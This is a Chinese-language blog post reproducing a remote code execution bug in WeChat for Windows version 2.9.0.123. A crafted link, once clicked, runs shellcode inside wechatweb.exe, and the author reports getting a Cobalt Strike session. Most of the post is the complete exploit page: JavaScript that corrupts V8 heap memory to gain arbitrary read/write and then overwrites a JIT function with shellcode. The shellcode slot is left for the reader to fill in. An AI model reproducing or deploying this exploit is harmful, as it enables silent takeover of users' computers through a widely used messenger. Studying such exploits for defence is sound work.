漏洞概述
攻击者只需要通过微信发送一个特制web链接，用户一旦点击链接，微信PC(windows)版进程wechatweb.exe会加载shellcode执行，整个过程无文件落地，无新进程产生，攻击者可以直接获取目标机器权限。
环境搭建
微信PC版本 2.9.0.123
漏洞复现
生成payload
将’’批量替换成’,0′
再放置shellcode
把链接通过微信发送，然后我们点击链接，cs上线成功。
源码
<html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"></head><h1>test</h1><script>ENABLE_LOG = true;IN_WORKER = true;// run calc and hang in a loopvar shellcode = [];//shellcode替换成自己的 注意是x86的function print(data) {}var not_optimised_out = 0;var target_function = (function (value) {if (value == 0xdecaf0) {not_optimised_out += 1;}not_optimised_out += 1;not_optimised_out |= 0xff;not_optimised_out *= 12;});for (var i = 0; i < 0x10000; ++i) {target_function(i);}var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;function cb(flag) {if (flag == true) {return;}g_array = new Array(0);g_array[0] = 0x1dbabe * 2;return 'c01db33f';}function gc() {for (var i = 0; i < 0x10000; ++i) {new String();}}function oobAccess() {var this_ = this;this.buffer = null;this.buffer_view = null;this.page_buffer = null;this.page_view = null;this.prevent_opt = [];var kSlotOffset = 0x1f;var kBackingStoreOffset = 0xf;class LeakArrayBuffer extends ArrayBuffer {constructor() {super(0x1000);this.slot = this;}}this.page_buffer = new LeakArrayBuffer();this.page_view = new DataView(this.page_buffer);new RegExp({ toString: function () { return 'a' } });cb(true);class DerivedBase extends RegExp {constructor() {// var array = null;super(// at this point, the 4-byte allocation for the JSRegExp `this` object// has just happened.{toString: cb}, 'g'// now the runtime JSRegExp constructor is called, corrupting the// JSArray.);// this allocation will now directly follow the FixedArray allocation// made for `this.data`, which is where `array.elements` points to.this_.buffer = new ArrayBuffer(0x80);g_array[8] = this_.page_buffer;}}// try{var derived_n = eval(`(function derived_n(i) {if (i == 0) {return DerivedBase;}class DerivedN extends derived_n(i-1) {constructor() {super();return;${"this.a=0;".repeat(tDerivedNCount)}}}return DerivedN;})`);gc();new (derived_n(tDerivedNDepth))();this.buffer_view = new DataView(this.buffer);this.leakPtr = function (obj) {this.page_buffer.slot = obj;return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);}this.setPtr = function (addr) {this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);}this.read32 = function (addr) {this.setPtr(addr);return this.page_view.getUint32(0, true, ...this.prevent_opt);}this.write32 = function (addr, value) {this.setPtr(addr);this.page_view.setUint32(0, value, true, ...this.prevent_opt);}this.write8 = function (addr, value) {this.setPtr(addr);this.page_view.setUint8(0, value, ...this.prevent_opt);}this.setBytes = function (addr, content) {for (var i = 0; i < content.length; i++) {this.write8(addr + i, content[i]);}}return this;}function trigger() {var oob = oobAccess();var func_ptr = oob.leakPtr(target_function);print('[*] target_function at 0x' + func_ptr.toString(16));var kCodeInsOffset = 0x1b;var code_addr = oob.read32(func_ptr + kCodeInsOffset);print('[*] code_addr at 0x' + code_addr.toString(16));oob.setBytes(code_addr, shellcode);target_function(0);}try{print("start running");trigger();}catch(e){print(e);}</script></html>
修复建议
官方下载链接：
https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe
本文始发于微信公众号（锋刃科技）：微信RCE 复现
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